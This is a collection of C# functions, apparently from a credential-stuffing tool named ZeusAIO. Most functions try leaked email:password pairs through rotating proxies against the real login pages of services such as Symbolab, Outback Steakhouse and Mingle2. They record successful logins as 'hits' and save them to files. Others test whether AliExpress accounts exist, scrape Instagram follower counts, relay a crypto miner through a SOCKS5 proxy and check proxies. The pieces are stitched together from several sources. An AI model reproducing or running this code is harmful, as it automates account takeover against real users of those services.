public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "com.appsmyth.mobile.smoothieking/4.3.0 (Linux; U; Android 5.1.1; samsung/greatqltecs; en_US) LevelUpSdk/12.4.2"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = false; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); string post = "email=" + s[0] + "&password="******"&url=https%3A%2F%2Fwww.symbolab.com%2F%23&remember=false"; string text2 = httpRequest.Post("https://www.symbolab.com/login", post, "application/x-www-form-urlencoded").ToString(); bool flag7 = text2.Contains("connected") || text2.Contains("jwt"); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - SYMBOLAB] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Symbolab_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.errors++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Mobile Safari/537.36"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = true; string str = "grant_type=password&username="******"&password="******"https://togo.outbackonlineordering.com/api/account/login", str, "application/x-www-form-urlencoded").ToString(); bool flag7 = text2.Contains("access_token"); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - OUTBACK] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Outbacksteakhouse_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.errors++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = true; string str = "utf8=%E2%9C%93&nexturl=&login="******"&password="******"https://m.mingle2.com/users/login?builder=SmartLabelFormBuilder", str, "application/x-www-form-urlencoded").ToString(); bool flag7 = text2.Contains("href=\"/users/home\""); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - MINGLE.COM] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Mingle.com_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.realretries++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "Mozilla/5.0 (Linux; Android 5.1.1; SM-N950N Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Mobile Safari/537.36"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = false; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); string text2 = httpRequest.Get("https://login.aliexpress.com/join/preCheckForRegister.htm?registerFrom=AE_MAIN_POPUP_WHOLESALE&umidToken=TF8667EB6100A86A003D1394117BC098531BE493439628104133F08A610&ua=121%23%2FYnlk%2Fa66JQlVlhdG8AelLTlA0fNT33VOnraqEg2vw7DKxJnEEpSlhyY8psdK5jVllKY%2BzPIDMlSAQOZZLQPll9YAcWZKujVVyeH4FJ5KM9lOlrJEGiIlMLYAcfdK5jVlmuY%2BapIxM9VO3rnEkDIll9YOc8dKkjVlwgZZgz4XluVS0bvsbc9MtFPe6GG62ibYnsshu%2FmCjVDkeILF9K0bZs0JnCVMZujhLzT83%2Fybbi0CNk1INn0lPi0n6XSp2D0kZ748u%2FmCbibCeIaFtWbbZrDnnx9pCibCZ0T83BhC6ibBZRXB9hWMZecnzgmunYsUueNIG%2Fm7%2FibvehuddcVC6ibn5u9lfAHASYrvd0P1hdYMiBzHDlG1xhSAXe2Dp5YLO7aWyVA%2BDZKhnH1NiATHbEtUNISsaxdYZ9JlCSwwX5pMXwc8lSgokSUKkFgeP1eO1B8mXC2MYwSfvzuZ%2FvPVHwANcTEnu3J9F2wjA2%2FSdncze%2B72x4i56LOdJqyOCgEhs4TtfNNLb0zTryXyyaDcmdDeaRtp6fmiuYnh8kAdtewMVr9ngS9QM0udY13dLJgrnu6FkyC2i2lYQ9hGC5xcJ72YIp8OUNcwzQulMbnIDxmTB8XLh8LedQCmyaxpiVCVzWAVAWziRGif4CKGP4wE5AowYwdYMnOUF0Sg2QTOBvyuGCCJxkdozXdCPpIJQfQOwq13VkWq8OxJ9X9OqtPv4iq3S%2FpUTxs6p9z7qpN0fEUVBpfZwZqgdX0vdo8z0gW1bgXtszPBMdT7YaQoTtLAVqoQ899JeNmu7LN6yPaClZUkeojQ7DFzKlWratog0OIPp31Erenh%2BofLciibLpzqPzHnb8ulHCZhYBDDobTeeM2aHejvSs7SEWQTIzcwH0dwN5pFU1Uvg1NtW6d8mXeAWroHIiNvKeqRWc76A%2BbSu7nL0CFIZKezWp5hFZa6cT13T6WJ%2FkgHzGtSYO%2B80Z4D6omU%2FAByCPOlsotsO269hynZscAXTgD4wt9fz2Ge%2BAMy3lGRP9GnONcP0Zac5J%2BDA9JD0gkOo%2FYCBngFPJhRDKEzcXngKhvb7HQWZU3mDAJ3U7DP7TQujUgBclZ6%2B3d%2BVQO3DUs1CPOpfljgMRHYgOjp2fdca63StbJ1ciUc4UvLzc0jrKYFl2wjv4amBWosw%3D%3D&email=" + s[0]).ToString(); bool flag7 = text2.Contains(",\"isEmailExisted\":true"); if (flag7) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - ALIEXPRESS] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Aliexpress_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.realretries++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
public void HandleClient(object obj) { // Placehonder varaibles for the connections we'll use. TcpClient minerClient = (TcpClient)obj; // Cast the object as a Net.TcpClient (Polymorphism) Socks5ProxyClient proxyClient = null; TcpClient poolClient = null; // Let the console know a miner is attempting to connect Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("A miner is attempting to connect..."); minerCount += 1; // Handle the main routine try { // Try to connect to the pool on the socks5 proxy proxyClient = new Socks5ProxyClient(configurationClass.configuration.ProxyAddress, configurationClass.configuration.ProxyPort, "", ""); poolClient = proxyClient.CreateConnection(configurationClass.configuration.PoolAddress, configurationClass.configuration.PoolPort); Console.WriteLine("Successfully connected to your pool!"); // We can signal that the miner is ready to mine Console.WriteLine("The new miner is ready to mine!"); // Print how many miners are attached. Console.WriteLine(String.Format("There are currently {0} miner(s) connected.", minerCount)); // Lastly, reset the console color for now. Console.ResetColor(); // Main routine that sleeps and exchanges data to prevent high cpu usage. while (minerClient.Connected && poolClient.Connected) { // Small sleep so we don't use 100% of the cpu Thread.Sleep(10); // Exchange the data. ExchangeData(minerClient, poolClient); } } catch (Exception e) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("Failed to connect to the pool or the socks5 proxy - miner will be dropped"); Console.ResetColor(); } // Close all connections if it's open, this thread is done. SafeCloseAndDispose(minerClient); SafeCloseAndDispose(poolClient); SafeCloseAndDispose(proxyClient.TcpClient); // Counter and debug. minerCount -= 1; Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("A miner has been disconnected."); Console.WriteLine(String.Format("There are currently {0} miner(s) connected.", minerCount)); Console.ResetColor(); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "HolaVPN/2.12 (iPhone; iOS 12.4.7; Scale/2.00)"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = true; string str = "{\"email\":\"" + s[0] + "\"}"; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); string text2 = httpRequest.Post("https://digibody.avast.com/v1/web/leaks", str, "application/x-www-form-urlencoded").ToString(); bool flag7 = text2.Contains("domain") || text2.Contains("The stolen data contains") || text2.Contains("leak_id"); if (flag7) { break; } else { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - ANTIPUBLIC] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Antipublic_hits", s[0] + ":" + s[1]); return(false); } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
private static string InstagramGetCaptures(CookieStorage cookies, string username) { while (true) { try { using (var req = new HttpRequest()) { switch (Program.ProxyType1) { case "HTTP": req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS4": req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS5": req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; } req.IgnoreProtocolErrors = true; req.AllowAutoRedirect = false; req.Cookies = cookies; req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"; req.AddHeader("Pragma", "no-cache"); req.AddHeader("Accept", "*/*"); var strResponse = req.Get(new Uri($"https://www.instagram.com/{username}/")).ToString(); if (strResponse.Contains("\"edge_followed_by\":{\"count\":")) { var follower_count = Regex.Match(strResponse, "\"edge_followed_by\":{\"count\":(.*?)}") .Groups[1].Value; var following_count = Regex.Match(strResponse, ",\"edge_follow\":{\"count\":(.*?)}") .Groups[1].Value; return($" - Followers: {follower_count} - Following: {following_count}"); } return(""); } } catch { Program.Errors++; } } return(""); }
private void CheckProxy(string proxyString) { try { ProxyClient proxyClient; switch (_proxiesType) { case "http": proxyClient = HttpProxyClient.Parse(proxyString); break; case "socks4": proxyClient = Socks4ProxyClient.Parse(proxyString); break; case "socks4a": proxyClient = Socks4aProxyClient.Parse(proxyString); break; case "socks5": proxyClient = Socks5ProxyClient.Parse(proxyString); break; default: proxyClient = HttpProxyClient.Parse(proxyString); break; } proxyClient.ConnectTimeout = _connectionTimeout; var tcpClient = proxyClient.CreateConnection("google.com", 80); if (tcpClient.Connected) { _goodProxies.Add(proxyString); if (_debug) { Console.WriteLine("Good proxy: {0}", proxyString); } } else { if (_debug) { Console.WriteLine("Bad proxy: {0}", proxyString); } } } catch (ProxyException pex) { if (_debug) { Console.WriteLine(pex.Message); } } catch (Exception ex) { Console.WriteLine(ex.Message); } }